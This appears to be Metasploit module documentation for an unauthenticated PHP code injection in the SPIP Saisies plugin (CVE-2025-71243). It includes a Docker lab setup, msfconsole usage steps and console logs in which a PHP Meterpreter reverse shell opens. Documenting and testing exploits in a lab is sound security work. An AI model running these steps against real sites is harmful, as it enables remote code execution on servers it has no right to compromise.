## Vulnerable Application

This module exploits an unauthenticated PHP code injection in the SPIP Saisies
plugin (CVE-2025-71243). The `_anciennes_valeurs` form parameter is interpolated
unsanitized into a hidden field rendered with `interdire_scripts=false`, giving
direct PHP code execution via SPIP's template eval.

Exploitation requires a publicly accessible page containing a saisies-powered
form, most commonly created with the Formidable plugin. Versions 5.4.0 through
5.11.0 of the saisies plugin are affected.

### Docker Setup

```bash
mkdir spip-lab && cd spip-lab
```

Create `docker-compose.yml`:

```yaml
services:
  spip:
    image: ipeos/spip:latest
    container_name: spip-cve
    ports:
      - "8888:80"
    environment:
      SPIP_AUTO_INSTALL: 1
      SPIP_DB_SERVER: mysql
      SPIP_DB_HOST: db
      SPIP_DB_LOGIN: spip
      SPIP_DB_PASS: spip
      SPIP_DB_NAME: spip
      SPIP_ADMIN_NAME: Admin
      SPIP_ADMIN_LOGIN: admin
      SPIP_ADMIN_EMAIL: admin@spip.local
      SPIP_ADMIN_PASS: adminadmin
      SPIP_SITE_ADDRESS: http://localhost:8888
    volumes:
      - ./setup.sh:/opt/setup.sh
    entrypoint: ["/bin/bash", "-c", "/opt/setup.sh & exec /docker-entrypoint.sh apache2-foreground"]
    depends_on:
      db:
        condition: service_healthy
    healthcheck:
      test: ["CMD", "bash", "-c", "curl -sf http://localhost/spip.php?page=contact | grep -q _anciennes_valeurs"]
      interval: 10s
      timeout: 5s
      retries: 30

  db:
    image: mariadb:10.11
    container_name: spip-cve-db
    environment:
      MYSQL_DATABASE: spip
      MYSQL_USER: spip
      MYSQL_PASSWORD: spip
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
      interval: 5s
      timeout: 3s
      retries: 10
```

Create `setup.sh`:

```bash
#!/bin/bash
PLUGINS_DIR="/var/www/html/plugins"
SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip"

echo "[*] Waiting for SPIP to be fully installed..."
until [ -f /var/www/html/config/connect.php ]; do
    sleep 2
done
sleep 5

echo "[*] Installing vulnerable saisies plugin v5.10.0..."
apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1
mkdir -p "$PLUGINS_DIR"
curl -sL "$SAISIES_URL" -o /tmp/saisies.zip
unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/"
chown -R www-data:www-data "$PLUGINS_DIR/"

echo "[*] Activating saisies plugin..."
echo "yes" | spip plugins:activer saisies

echo "[*] Creating contact form with _saisies..."
mkdir -p /var/www/html/formulaires
cat > /var/www/html/formulaires/contact.php << 'FORMPHP'
<?php
if (!defined("_ECRIRE_INC_VERSION")) return;

function formulaires_contact_saisies_dist() {
    return [
        ["saisie" => "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]],
        ["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]],
        ["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]],
    ];
}
function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; }
function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; }
function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; }
FORMPHP

cat > /var/www/html/formulaires/contact.html << 'FORMHTML'
<div class="formulaire_spip formulaire_contact">
[(#ENV{message_ok}|oui)<p class="reponse_formulaire reponse_formulaire_ok">[(#ENV{message_ok})]</p>]
[(#ENV{editable}|oui)
<form method="post" action="#ENV{action}"><div>
#ACTION_FORMULAIRE{#ENV{action},#ENV{form}}
<INCLURE{fond=inclure/generer_saisies,env} />
<p class="boutons"><input type="submit" value="Envoyer" /></p>
</div></form>
]
</div>
FORMHTML

mkdir -p /var/www/html/squelettes
cat > /var/www/html/squelettes/contact.html << 'SQHTML'
<!DOCTYPE html>
<html><head><title>Contact</title>#INSERT_HEAD</head>
<body><h1>Contact</h1>#FORMULAIRE_CONTACT</body>
</html>
SQHTML

chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/
rm -rf /var/www/html/tmp/cache/

echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact"
```

```bash
chmod +x setup.sh
docker compose up -d
```

Wait about a minute for the setup script to install saisies and create the
contact form. The form will be at `http://localhost:8888/spip.php?page=contact`.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/multi/http/spip_saisies_rce`
3. `set RHOSTS 127.0.0.1`
4. `set RPORT 8888`
5. `set LHOST <your-ip>`
6. `check` - verify it returns `Appears`
7. `run` - verify a Meterpreter session opens

## Options

### FORM_PAGE

Page containing a saisies-powered form. Set to a specific page name (e.g.
`contact`) if you already know which page has the form, or leave as `crawl`
(default) to automatically discover one by fetching the SPIP sitemap and
following internal links.

### CRAWL_MAX_PAGES

Maximum number of pages to visit when crawling. Default is 100.

## Scenarios

### SPIP with Saisies 5.10.0 - PHP Meterpreter (direct page)

```
msf6 > use exploit/multi/http/spip_saisies_rce
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
RPORT => 8889
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact
FORM_PAGE => contact
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/spip_saisies_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Saisies plugin version: 5.10.0
[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
[+] Form found at /spip.php?page=contact
[*] Sending payload...
[*] Sending stage (42137 bytes) to 172.18.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100

meterpreter >
```

### SPIP with Saisies 5.10.0 - PHP Meterpreter (crawl mode)

```
msf6 > use exploit/multi/http/spip_saisies_rce
msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
RPORT => 8889
msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl
FORM_PAGE => crawl
msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/spip_saisies_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Saisies plugin version: 5.10.0
[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
[*] Crawling for saisies forms (max 100 pages)...
[+] Form found at /spip.php?page=contact (checked 3 pages)
[*] Sending payload...
[*] Sending stage (42137 bytes) to 172.18.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100

meterpreter >
```
